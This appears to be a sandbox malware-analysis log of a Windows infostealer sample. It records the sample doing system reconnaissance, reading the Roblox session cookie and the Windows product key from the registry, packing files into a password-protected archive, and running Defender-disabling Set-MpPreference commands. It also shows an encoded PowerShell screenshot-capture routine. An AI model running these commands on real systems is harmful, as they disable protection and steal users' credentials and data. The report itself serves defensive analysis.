Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA594.tmp" "c:\Users\user\AppData\Local\Temp\bohkan2x\CSC24344491B9A34B60B194FE692FA1E0E5.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

Code function: 65_2_00007FF629B3B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

65_2_00007FF629B3B340

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 0_2_00007FF6FB208880 cpuid

0_2_00007FF6FB208880

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
